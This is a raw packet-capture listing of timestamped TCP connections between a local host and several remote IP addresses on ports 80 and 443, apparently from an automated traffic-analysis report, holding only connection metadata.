Nov 11, 2024 19:52:02.781393051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781403065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781413078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781419039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781424999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781435013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781446934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781450033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781457901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781469107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781476974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781496048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781496048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781508923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781521082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781517982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781528950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781532049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781543016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781553984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781555891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781564951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781569958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781575918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781585932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781598091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781603098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781619072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781620026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781629086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781640053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781646013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781651974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781661987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781673908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781677008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781694889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781708956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781719923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781723976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781729937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781742096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781753063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781754017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781765938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781770945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781791925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781810999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781829119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781840086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781848907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781862020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781867027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781873941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781884909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781893015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781898022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781908035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781923056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781933069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781934023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781955004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781958103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781966925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781975985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781979084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781982899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.782004118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.782011986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782031059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.782047987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.782059908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782071114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782129049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.782236099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782249928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782260895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782263994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.782270908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782283068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782293081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782295942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.782304049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782316923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782325029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.782329082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782339096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782346010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.782350063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782360077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782371044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782382965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782387018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.782393932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782404900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782414913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.782428980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.782447100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.782469034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.784455061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784495115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.784568071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784579039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784589052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784600019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784607887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.784610987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784630060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784631968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.784657955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.784679890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.784708023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784718990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784728050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784738064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784745932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.784749985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784766912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784770012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.784778118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784789085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784796000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.784800053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.784820080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.784842968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.930418968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.930434942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.930522919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:03.016541004 CET	49675	443	192.168.2.5	23.1.237.91
Nov 11, 2024 19:52:03.042912960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.042933941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.042943001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.043034077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:03.043073893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:03.156451941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.156474113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.156486988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.156498909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.156505108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.156516075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:03.156547070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:03.156558990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:03.157129049 CET	49673	443	192.168.2.5	23.1.237.91
Nov 11, 2024 19:52:03.172772884 CET	49674	443	192.168.2.5	23.1.237.91
Nov 11, 2024 19:52:03.268876076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.268940926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.268954992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.268968105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.268985987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.268990040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:03.269016981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:03.269038916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.269052029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.269057035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:03.269066095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.269084930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:03.269100904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:03.269105911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:03.269145012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:04.900486946 CET	49708	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:04.900521040 CET	443	49708	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:04.900579929 CET	49708	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:04.901216984 CET	49708	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:04.901231050 CET	443	49708	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:04.925576925 CET	443	49703	23.1.237.91	192.168.2.5
Nov 11, 2024 19:52:04.925654888 CET	49703	443	192.168.2.5	23.1.237.91
Nov 11, 2024 19:52:05.090970993 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.091033936 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.091142893 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.091528893 CET	49710	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.091586113 CET	443	49710	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.091650009 CET	49710	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.091773987 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.091793060 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.091932058 CET	49710	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.091947079 CET	443	49710	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.102050066 CET	49711	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.102088928 CET	443	49711	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.102168083 CET	49711	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.102392912 CET	49711	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.102400064 CET	443	49711	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.526308060 CET	443	49708	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.526885986 CET	49708	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.526920080 CET	443	49708	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.527928114 CET	443	49708	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.528002024 CET	49708	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.529962063 CET	49708	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.530033112 CET	443	49708	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.530333042 CET	49708	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.530345917 CET	443	49708	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.570282936 CET	49708	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.737600088 CET	443	49708	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.737646103 CET	443	49708	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.737670898 CET	443	49708	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.737704039 CET	49708	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.737728119 CET	443	49708	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.737798929 CET	49708	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.739866972 CET	443	49708	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.740019083 CET	49708	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.740061998 CET	443	49708	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.740122080 CET	49708	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.950972080 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.951433897 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.951458931 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.952478886 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.952557087 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.952581882 CET	443	49710	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.952944040 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.953012943 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.953361034 CET	49710	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.953382015 CET	443	49710	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.953490019 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.953497887 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.954545975 CET	443	49710	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.954727888 CET	49710	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.955075026 CET	49710	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.955172062 CET	443	49710	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.955280066 CET	49710	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.956773043 CET	443	49711	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.957123995 CET	49711	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.957137108 CET	443	49711	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.958158970 CET	443	49711	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.958218098 CET	49711	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.958612919 CET	49711	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:05.958705902 CET	443	49711	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:05.995336056 CET	443	49710	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.006053925 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.006053925 CET	49711	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.006058931 CET	49710	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.006068945 CET	443	49711	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.006074905 CET	443	49710	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.052912951 CET	49711	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.052938938 CET	49710	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.153004885 CET	443	49710	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.163366079 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.163419962 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.163455963 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.163491964 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.163523912 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.163531065 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.163543940 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.163573980 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.163594007 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.163604021 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.169486046 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.172446966 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.172455072 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.209217072 CET	49710	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.209234953 CET	443	49710	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.211505890 CET	49710	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.211621046 CET	443	49710	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.211685896 CET	49710	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.224813938 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.246660948 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.246745110 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.246778965 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.246819973 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.246833086 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.246874094 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.247137070 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.247188091 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.248403072 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.248410940 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.253428936 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.256242990 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.256251097 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.258155107 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.258229017 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.258238077 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.264308929 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.264435053 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.264444113 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.269850969 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.272330046 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.272337914 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.275686026 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.276220083 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.276226997 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.298333883 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.298378944 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.298446894 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.298460007 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.298517942 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.326374054 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.326481104 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.326527119 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.326576948 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.326586008 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.326630116 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.326689005 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.326788902 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.326831102 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.326837063 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.326931000 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.326997042 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.327003956 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.327933073 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.327977896 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.327984095 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.328035116 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.328322887 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.328329086 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.336426973 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.336486101 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.336543083 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.336587906 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.336596012 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.336623907 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.347769976 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.347820997 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.347858906 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.347875118 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.347882032 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.347932100 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.347938061 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.347981930 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.348037958 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.353621006 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.353696108 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.353703976 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.363514900 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.363569021 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.363575935 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.363672972 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.363900900 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.363907099 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.366112947 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.366317034 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.366323948 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.369045019 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.370866060 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.370878935 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.372267008 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.372370005 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.372376919 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.380671024 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.381242037 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.381295919 CET	443	49709	142.250.184.228	192.168.2.5
Nov 11, 2024 19:52:06.381298065 CET	49709	443	192.168.2.5	142.250.184.228
Nov 11, 2024 19:52:06.381309986 CET	443	49709	142.250.184.228	192.168.2.5
